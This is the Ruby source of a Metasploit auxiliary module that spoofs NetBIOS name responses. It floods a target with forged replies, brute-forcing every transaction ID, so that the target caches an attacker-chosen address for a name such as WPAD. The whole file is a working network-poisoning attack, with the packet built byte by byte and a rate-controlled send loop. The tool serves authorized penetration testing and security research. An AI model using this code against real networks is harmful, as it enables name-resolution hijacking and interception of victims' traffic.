Path: blob/master/modules/auxiliary/admin/netbios/netbios_spoof.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp78def initialize9super(10'Name' => 'NetBIOS Response Brute Force Spoof (Direct)',11'Description' => %q{12This module continuously spams NetBIOS responses to a target for given hostname,13causing the target to cache a malicious address for this name. On high-speed local14networks, the PPSRATE value should be increased to speed up this attack. As an15example, a value of around 30,000 is almost 100% successful when spoofing a16response for a 'WPAD' lookup. Distant targets may require more time and lower17rates for a successful attack.18},19'Author' => [20'vvalien', # Metasploit Module (post)21'hdm', # Metasploit Module22'tombkeeper' # Related Work23],24'License' => MSF_LICENSE,25)2627register_options(28[29Opt::RPORT(137),30OptString.new('NBNAME', [ true, 'The NetBIOS name to spoof a reply for', 'WPAD' ]),31OptAddress.new('NBADDR', [ true, 'The address that the NetBIOS name should resolve to', Rex::Socket.source_address('50.50.50.50') ]),32OptInt.new('PPSRATE', [ true, 'The rate at which to send NetBIOS replies', 1_000])33],34self.class35)36end3738def netbios_spam39payload =40"\xff\xff" + # TX ID (will brute force this)41"\x85\x00" + # Flags = response + authoritative + recursion desired42"\x00\x00" + # Questions = 043"\x00\x01" + # Answer RRs = 144"\x00\x00" + # Authority RRs = 045"\x00\x00" + # Additional RRs = 046"\x20" +47Rex::Proto::SMB::Utils.nbname_encode([@fake_name.upcase].pack('A15') + "\x00") +48"\x00" \49"\x00\x20" + # Type = NB50"\x00\x01" + # Class = IN51"\x00\x04\x93\xe0" + # TTL long time52"\x00\x06" + # Datalength = 653"\x00\x00" + # Flags B-node, unique54Rex::Socket.addr_aton(@fake_addr)5556stime = Time.now.to_f57pcnt = 058pps = 05960print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")6162live = true63while live640.upto(65535) do |txid|65payload[0, 2] = [txid].pack('n')66@sock.put(payload)67pcnt += 16869pps = (pcnt / (Time.now.to_f - stime)).to_i70if pps > @targ_rate71sleep(0.01)72end73rescue Errno::ECONNREFUSED74print_error('Error: Target sent us an ICMP port unreachable, port is likely closed')75live = false76break77end78end7980print_status('Cleaning up...')81end8283def run84connect_udp85@sock = udp_sock8687@targ_addr = rhost88@targ_port = rport89@targ_rate = datastore['PPSRATE']90@fake_name = datastore['NBNAME']91@fake_addr = datastore['NBADDR']9293netbios_spam9495disconnect_udp96end97end9899100